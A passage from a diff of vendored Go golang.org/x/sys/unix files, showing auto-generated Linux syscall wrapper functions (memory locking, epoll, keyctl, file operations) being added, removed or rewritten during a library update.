-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1556,7 +124,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1564,7 +132,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1572,7 +140,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1590,7 +158,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1666,9 +234,18 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Seek(fd int, offset int64, whence int) (off int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-- off = int64(r0)
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1677,9 +254,9 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PSELECT6, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-- n = int(r0)
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ off = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1699,8 +276,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1709,8 +287,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1830,6 +409,16 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
-@@ -2020,6 +609,21 @@ func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int6
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -2045,8 +649,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2065,6 +674,21 @@ func fstat(fd int, st *stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func fstatat(dirfd int, path string, st *stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_NEWFSTATAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(st)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func lstat(path string, st *stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64le.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64le.go
-index f6463423..28c7239c 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64le.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64le.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,mips64le syscall_linux.go syscall_linux_mips64x.go
-+// go run mksyscall.go -tags linux,mips64le syscall_linux.go syscall_linux_mips64x.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,mips64le
-@@ -14,1228 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
